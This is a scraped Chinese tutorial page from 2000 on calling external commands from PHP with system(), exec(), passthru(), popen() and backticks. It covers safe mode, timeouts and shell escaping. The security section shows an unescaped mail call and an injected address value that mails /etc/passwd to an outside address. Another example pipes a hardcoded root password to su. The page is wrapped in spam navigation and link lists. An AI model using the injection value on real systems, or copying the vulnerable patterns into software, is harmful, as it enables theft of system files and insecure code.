电脑知识|欧美黑人一区二区三区|软件|欧美黑人一级爽快片淫片高清|系统|欧美黑人狂野猛交老妇|数据库|服务器|编程开发|网络运营|知识问答|技术教程文章 - 好吧啦网

您的位置:首頁技術文章
文章詳情頁

在PHP中執行系統外部命令

瀏覽:9日期:2024-01-17 13:08:17
PHP作為一種服務器端的腳本語言,象編寫簡單,或者是復雜的動態網頁這樣的任務,它完全能夠勝任。但事情不總是如此,有時為了實現某個功能,必須借助于操作系統的外部程序(或者稱之為命令),這樣可以做到事半功倍。 那么,是否可以在PHP腳本中調用外部命令呢?如果能,如何去做呢?有些什么方面的顧慮呢?相信你看了本文后,肯定能夠回答這些問題了。 是否可以? 答案是肯定的。PHP和其它的程序設計語言一樣,完全可以在程序內調用外部命令,并且是很簡單的:只要用一個或幾個函數即可。 前提條件 由于PHP基本是用于WEB程序開發的,所以安全性成了人們考慮的一個重要方面。于是PHP的設計者們給PHP加了一個門:安全模式。如果運行在安全模式下,那么PHP腳本中將受到如下四個方面的限制: 執行外部命令 在打開文件時有些限制 連接MySQL數據庫 基于HTTP的認證 在安全模式下,只有在特定目錄中的外部程序才可以被執行,對其它程序的調用將被拒絕。這個目錄可以在php.ini文件中用safe_mode_exec_dir指令,或在編譯PHP是加上--with-exec-dir選項來指定,默認是/usr/local/php/bin。 如果你調用一個應該可以輸出結果的外部命令(意思是PHP腳本沒有錯誤),得到的卻是一片空白,那么很可能你的網管已經把PHP運行在安全模式下了。 如何做? 在PHP中調用外部命令,可以用如下三種方法來實現: 1) 用PHP提供的專門函數 PHP提供共了3個專門的執行外部命令的函數:system(),exec(),passthru()。 system() 原型:string system (string command [, int return_var]) system()函數很其它語言中的差不多,它執行給定的命令,輸出和返回結果。第二個參數是可選的,用來得到命令執行后的狀態碼。例子: <?system("/usr/local/bin/webalizer/webalizer"); ?>;;exec() 原型:string exec (string command [, string array [, int return_var]]) exec()函數與system()類似,也執行給定的命令,但不輸出結果,而是返回結果的最后一行。雖然它只返回命令結果的最后一行,但用第二個參數array可以得到完整的結果,方法是把結果逐行追加到array的結尾處。所以如果array不是空的,在調用之前最好用unset()最它清掉。只有指定了第二個參數時,才可以用第三個參數,用來取得命令執行的狀態碼。 例子: <?exec("/bin/ls -l"); exec("/bin/ls -l", $res); #$res是一個數據,每個元素代表結果的一行exec("/bin/ls -l", $res, $rc); #$rc的值是命令/bin/ls -l的狀態碼。成功的情況下通常是0 ?>;;passthru() 原型:void passthru (string command [, int return_var]) passthru()只調用命令,不返回任何結果,但把命令的運行結果原樣地直接輸出到標準輸出設備上。所以passthru()函數經常用來調用象pbmplus(Unix下的一個處理圖片的工具,輸出二進制的原始圖片的流)這樣的程序。同樣它也可以得到命令執行的狀態碼。 例子: <? header("Content-type: image/gif"); passthru("./ppmtogif hunte.ppm"); ?>;;2) 用popen()函數打開進程 上面的方法只能簡單地執行命令,卻不能與命令交互。但有些時候必須向命令輸入一些東西,如在增加Linux的系統用戶時,要調用su來把當前用戶換到root才行,而su命令必須要在命令行上輸入root的密碼。這種情況下,用上面提到的方法顯然是不行的。 popen()函數打開一個進程管道來執行給定的命令,返回一個文件句柄。既然返回的是一個文件句柄,那么就可以對它讀和寫了。在PHP3中,對這種句柄只能做單一的操作模式,要么寫,要么讀;從PHP4開始,可以同時讀和寫了。除非這個句柄是以一種模式(讀或寫)打開的,否則必須調用pclose()函數來關閉它。 例子1: <? $fp=popen("/bin/ls -l", "r"); ?>;;例子2(本例來自PHP中國聯盟網站http://www.phpx.com/show.php?d=col&i=51): <?/* PHP中如何增加一個系統用戶下面是一段例程,增加一個名字為james的用戶,root密碼是 verygood。僅供參考 */$sucommand = "su --login root --command"$useradd = "useradd ";$rootpasswd = "verygood";$user = "james";$user_add = sprintf("%s "%s %s"",$sucommand,$useradd,$user); $fp = @popen($user_add,"w"); @fputs($fp,$rootpasswd); @pclose($fp); ?>;;3) 用反撇號(`,也就是鍵盤上ESC鍵下面的那個,和~在同一個上面) 這個方法以前沒有歸入PHP的文檔,是作為一個秘技存在的。方法很簡單,用兩個反撇號把要執行的命令括起來作為一個表達式,這個表達式的值就是命令執行的結果。如: <?$res=`/bin/ls -l`; echo '<b><pre>'.$res.'</pre></b>'; ?>;;這個腳本的輸出就象: hunte.gifhunte.ppmjpg.htmjpg.jpgpassthru.php;;要考慮些什么? 要考慮兩個問題:安全性和超時。 先看安全性。比如,你有一家小型的網上商店,所以可以出售的產品列表放在一個文件中。你編寫了一個有表單的HTML文件,讓你的用戶輸入他們的EMAIL地址,然后把這個產品列表發給他們。假設你沒有使用PHP的mail()函數(或者從未聽說過),你就調用Linux/Unix系統的mail程序來發送這個文件。程序就象這樣: <?system("mail $to < products.txt"); echo "我們的產品目錄已經發送到你的信箱:$to"?>;;用這段代碼,一般的用戶不會產生什么危險,但實際上存在著非常大的安全漏洞。如果有個惡意的用戶輸入了這樣一個EMAIL地址: '--bla ; mail someone@domain.com < /etc/passwd ;' 那么這條命令最終變成: 'mail --bla ; mail someone@domain.com < /etc/passwd ; < products.txt' 我相信,無論哪個網絡管理人員見到這樣的命令,都會嚇出一身冷汗來。 幸好,PHP為我們提供了兩個函數:EscapeShellCmd()和EscapeShellArg()。函數EscapeShellCmd把一個字符串中所有可能瞞過Shell而去執行另外一個命令的字符轉義。這些字符在Shell中是有特殊含義的,象分號(),重定向(>)和從文件讀入(<)等。函數EscapeShellArg是用來處理命令的參數的。它在給定的字符串兩邊加上單引號,并把字符串中的單引號轉義,這樣這個字符串就可以安全地作為命令的參數。 再來看看超時問題。如果要執行的命令要花費很長的時間,那么應該把這個命令放到系統的后臺去運行。但在默認情況下,象system()等函數要等到這個命令運行完才返回(實際上是要等命令的輸出結果),這肯定會引起PHP腳本的超時。解決的辦法是把命令的輸出重定向到另外一個文件或流中,如: <?system("/usr/local/bin/order_proc > /tmp/null &"); ?> Hunte于2000年10月28日
標簽: PHP
主站蜘蛛池模板: 章丘丰源机械有限公司 - 三叶罗茨风机,罗茨鼓风机,罗茨风机 | 煤棒机_增碳剂颗粒机_活性炭颗粒机_木炭粉成型机-巩义市老城振华机械厂 | 非小号行情 - 专业的区块链、数字藏品行情APP、金色财经官网 | 超声波反应釜【百科】-以马内利仪器 | 浴室柜-浴室镜厂家-YINAISI · 意大利设计师品牌 | 咿耐斯 |-浙江台州市丰源卫浴有限公司 | 机房监控|动环监控|动力环境监控系统方案产品定制厂家 - 迈世OMARA | 沉降天平_沉降粒度仪_液体比重仪-上海方瑞仪器有限公司 | (中山|佛山|江门)环氧地坪漆,停车场地板漆,车库地板漆,聚氨酯地板漆-中山永旺地坪漆厂家 | 北京模型公司-军事模型-工业模型制作-北京百艺模型沙盘公司 | 冷水机,风冷冷水机,水冷冷水机,螺杆冷水机专业制造商-上海祝松机械有限公司 | 江西自考网-江西自学考试网 | 冰晶石|碱性嫩黄闪蒸干燥机-有机垃圾烘干设备-草酸钙盘式干燥机-常州市宝康干燥 | 环氧乙烷灭菌器_压力蒸汽灭菌器_低温等离子过氧化氢灭菌器 _低温蒸汽甲醛灭菌器_清洗工作站_医用干燥柜_灭菌耗材-环氧乙烷灭菌器_脉动真空压力蒸汽灭菌器_低温等离子灭菌设备_河南省三强医疗器械有限责任公司 | 仿真茅草_人造茅草瓦价格_仿真茅草厂家_仿真茅草供应-深圳市科佰工贸有限公司 | 谷梁科技| 防勒索软件_数据防泄密_Trellix(原McAfee)核心代理商_Trellix(原Fireeye)售后-广州文智信息科技有限公司 | bkzzy在职研究生网 - 在职研究生招生信息咨询平台 | 粉末包装机-给袋式包装机-全自动包装机-颗粒-液体-食品-酱腌菜包装机生产线【润立机械】 | 西安微信朋友圈广告投放_微信朋友圈推广_西安度娘网络科技有限公司 | 南京试剂|化学试剂|分析试剂|实验试剂|cas号查询-专业60年试剂销售企业 | 自动检重秤-动态称重机-重量分选秤-苏州金钻称重设备系统开发有限公司 | 安徽千住锡膏_安徽阿尔法锡膏锡条_安徽唯特偶锡膏_卡夫特胶水-芜湖荣亮电子科技有限公司 | 一氧化氮泄露报警器,二甲苯浓度超标报警器-郑州汇瑞埔电子技术有限公司 | EFM 022静电场测试仪-套帽式风量计-静电平板监测器-上海民仪电子有限公司 | 聚氨酯催化剂K15,延迟催化剂SA-1,叔胺延迟催化剂,DBU,二甲基哌嗪,催化剂TMR-2,-聚氨酯催化剂生产厂家 | 泰安塞纳春天装饰公司【网站】| 郑州大巴车出租|中巴车租赁|旅游大巴租车|包车|郑州旅游大巴车租赁有限公司 | 气胀轴|气涨轴|安全夹头|安全卡盘|伺服纠偏系统厂家-天机传动 | 空心明胶胶囊|植物胶囊|清真胶囊|浙江绿键胶囊有限公司欢迎您! | 热熔胶网膜|pes热熔网膜价格|eva热熔胶膜|热熔胶膜|tpu热熔胶膜厂家-苏州惠洋胶粘制品有限公司 | 厦门网站建设_厦门网站设计_小程序开发_网站制作公司【麦格科技】 | 土壤水分自动监测站-SM150便携式土壤水分仪-铭奥仪器 | 成都顶呱呱信息技术有限公司-贷款_个人贷款_银行贷款在线申请 - 成都贷款公司 | 自动气象站_农业气象站_超声波气象站_防爆气象站-山东万象环境科技有限公司 | 臭氧灭菌箱-油桶加热箱-原料桶加热融化烘箱-南京腾阳干燥设备厂 臭氧发生器_臭氧消毒机 - 【同林品牌 实力厂家】 | 国产频谱分析仪-国产网络分析仪-上海坚融实业有限公司 | 立式硫化罐-劳保用品硫化罐-厂家直销-山东鑫泰鑫硫化罐厂家 | 液氮罐_液氮容器_自增压液氮罐_杜瓦瓶_班德液氮罐厂家 | 同步带轮_同步带_同步轮_iHF合发齿轮厂家-深圳市合发齿轮机械有限公司 | 螺杆式冷水机-低温冷水机厂家-冷冻机-风冷式-水冷式冷水机-上海祝松机械有限公司 | 压装机-卧式轴承轮轴数控伺服压装机厂家[铭泽机械] |